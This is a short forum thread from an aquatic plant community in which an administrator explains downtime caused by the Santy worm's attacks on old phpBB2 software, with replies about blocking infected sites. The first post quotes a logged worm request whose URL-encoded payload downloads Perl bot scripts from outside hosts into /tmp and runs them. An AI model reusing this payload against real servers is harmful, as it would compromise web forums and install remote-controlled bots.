Aquatic Plant Forum banner
1 - 3 of 3 Posts

·
Premium Member
Joined
·
3,966 Posts
Discussion Starter · #1 ·
I wanted to let everyone know what we continue to experience occassional attacks from the Santy Worm that was released onto the net in November. This worm attacks out of date phpBB2 software. Once a site is infested, it attempts to infest other phpBB2 sites by searching for them in Google. As we have 9,000+ pages indexed in Google, we are a frequent target.

Although we are immune as we have the latest version of phpBB2, the worm attack causes a tremendous load on the server. Our host is monitoring the attacks and will disable the site for a couple of minutes so that the worm goes away.

I apologize for this inconvenience if you happen to experience some of the down time. This issue will be resolved shortly.

If you want to see what the attack looks like, here is a log of a worm attempt:

/forum/viewtopic.php?t=1083&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.quasi-sane.com/pics/bot.htm;wget%20http://http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%
 

·
Registered
Joined
·
4,700 Posts
Is it possible to refuse posts from the infected sites? The intrnet provider I use at home has banned all posts from the school where I teach because the school's servers are badly infested.
 

·
Premium Member
Joined
·
3,966 Posts
Discussion Starter · #3 ·
No because an infected site will search Google and go to any sites with phpBB2 on them. It's impossible to block since you don't know what sites are infected.
 
1 - 3 of 3 Posts
Top